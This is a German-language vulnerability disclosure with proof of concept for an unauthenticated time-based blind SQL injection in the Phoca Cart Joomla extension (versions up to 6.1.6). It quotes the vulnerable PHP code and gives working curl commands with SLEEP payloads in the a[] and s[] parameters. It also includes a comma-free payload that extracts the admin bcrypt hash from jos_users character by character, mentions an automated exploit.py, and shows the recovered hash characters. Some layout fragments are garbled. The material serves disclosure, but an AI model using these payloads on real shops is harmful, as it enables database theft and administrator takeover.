
Unauthentifizierte SQL-Injection über den Attributfilter in Phoca Cart
Phoca Cart ≤ 6.1.6 – Nicht authentifizierter Angreifer extrahiert die gesamte Datenbank mittels zeitbasierter Blind-Injection
Die GET-Array-Parameter a[] (Attribut) und s[] (Spezifikation) auf der öffentlichen Artikelseite des Shops von Phoca Cart werden ohne Parametrisierung oder Escaping direkt in SQL-WHERE-Klauseln eingefügt. Ein nicht authentifizierter Angreifer kann über diese Parameter beliebiges SQL injizieren und so mithilfe zeitbasierter Blind-Techniken die gesamte Datenbank extrahieren.
Die Schwachstelle befindet sich in getSqlPartsArray() in admin/libraries/phocacart/search/search.php. Die Funktion ruft explode(',', $v) auf, bevor sie die IN()-Liste erstellt, escapet die resultierenden Werte jedoch nie – ein kommafreier Payload gelangt daher unversehrt in die SQL-Abfrage. Da getItemListQuery() pro Anfrage zweimal aufgerufen wird (getTotal() + getItemList()), verursacht ein SLEEP(N)-Payload eine beobachtbare Verzögerung von 2×N Sekunden, was die Zeiterkennung äußerst zuverlässig macht.
| KOMPONENTE | VERWUNDBAR | GETESTET AUF | BEHOBEN |
|---|---|---|---|
| Phoca Cart (com_phocacart) | 5.0.0 – 6.1.6 | Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache) | 6.1.7 |
Typ: SQL Injection — Time-Based Blind (CWE-89)
Erforderliche Authentifizierung: Keine – öffentlich erreichbarer Endpunkt
Datei: admin/libraries/phocacart/search/search.php
Das Artikelmodell liest die Parameter a[] und s[] direkt aus der HTTP-Anfrage ohne Bereinigung (Sanitization):
SITE/MODELS/ITEMS.PHP — ZEILE 92–93
$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET
Diese Werte werden an getSqlPartsArray() übergeben, das jeden Wert an Kommas aufteilt und die resultierenden Fragmente direkt in die SQL-IN()-Klausel einfügt:
SEARCH.PHP – GETSQLPARTSARRAY() ZEILEN 318–363 (VERWUNDBAR)
foreach ($value as $k => $v) {
$a = explode(',', $v); // splits on comma — but does NOT escape
$a = array_unique($a);
if ($k && $v) {
if ($searchArea == 'a') {
// ANY method — $a values are NOT escaped before implode:
$inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
. '\'' . implode('\',\'', $a) . '\'' // ← raw user input injected here
. '))';
// ALL method — $v2 injected raw into double-quoted context:
foreach ($a as $v2) {
$inAS[$iA] = 'at2.alias = ' . $db->quote($k)
. ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
$iA++;
}
}
else if ($searchArea == 's') {
// specification filter — same pattern, same flaw:
$inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
. '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
}
}
}
Das resultierende SQL-Fragment wird in die Hauptabfrage eingefügt:
a.id IN (
SELECT at2.product_id FROM #__phocacart_attributes AS at2
LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)
getActiveFilterValues() in filter.php wendet filterValue($item, 'alphanumeric') auf die Werte von a[]/s[] für die Anzeigeebene an. getSqlPartsArray() liest dieselben Parameter jedoch direkt aus $app->getInput()->get('a', '', 'array') – ohne jede Bereinigung, wodurch der Schutz der Anzeigeebene vollständig umgangen wird.
Keine Authentifizierung erforderlich. Die Artikelansicht (/index.php?option=com_phocacart&view=items) ist öffentlich zugänglich. Im Shop müssen keine Attribute oder Spezifikationen konfiguriert sein.
Ein nicht authentifizierter Benutzer kann das Shopping-Portal ohne Anmeldedaten aufrufen.

Rohe Anfrage in Burp Suite aufgezeichnet – Basis-Antwortzeit: 76ms.

a[])Über den Parameter a[color] wird ein SLEEP(3)-Payload injiziert. Da getItemListQuery() pro Anfrage zweimal aufgerufen wird, beträgt die erwartete Verzögerung 2 × 3 = 6s. Gemessen: 7085ms – bestätigt.
# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"
# Result: 7.085s — CONFIRMED
# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"

Das Ersetzen von SLEEP(3) durch SLEEP(0) liefert sofort eine Antwort (1064ms) und bestätigt, dass die Verzögerung durch das injizierte SLEEP und nicht durch Netzwerkbedingungen verursacht wird.

Den Admin-bcrypt-Hash Byte für Byte extrahieren. Wichtige Einschränkung: explode(',', $v) teilt an Kommas auf, bevor das SQL aufgebaut wird – Payloads müssen SUBSTRING(str FROM pos FOR len) (ANSI-Keyword-Syntax) verwenden, um eine Abschneidung an Kommas zu vermeiden, sowie CASE WHEN ... THEN ... ELSE ... END anstelle von IF().
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match
PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=$PAYLOAD" \
"http://TARGET/index.php"
Labor-Überprüfung – die ersten 12 Zeichen des Admin-bcrypt-Hashs:
Extrahiertes Präfix $2y$10$LNvt... – der vollständige 60-Zeichen-bcrypt-Hash ist in ca. 240 Anfragen wiederherstellbar.
Das enthaltene Skript exploit.py extrahiert den vollständigen Admin-Passwort-Hash automatisch ohne manuelle Iteration, mithilfe der oben beschriebenen zeitbasierten Technik.
python exploit.py http://TARGET

com_phocacart und öffentlichem Frontend ist angreifbar.INSERT- / UPDATE- / DELETE-Anweisungen ausführen, einschließlich der Erstellung neuer Administrator-Konten oder der Änderung von Bestelldatensätzen.| pos | Zeichen | ASCII | Antwort | Treffer |
|---|
| 1 | $ | 36 | >6s | ✓ |
| 2 | 2 | 50 | >6s | ✓ |
| 3 | y | 121 | >6s | ✓ |
| 4 | $ | 36 | >6s | ✓ |
| 5 | 1 | 49 | >6s | ✓ |
| 6 | 0 | 48 | >6s | ✓ |
| 7 | $ | 36 | >6s | ✓ |
| 8 | L | 76 | >6s | ✓ |
| 9 | N | 78 | >6s | ✓ |
| 10 | v | 118 | >6s | ✓ |
| 11 | t | 116 | >6s | ✓ |
| ... | ... | ... | >6s | ✓ |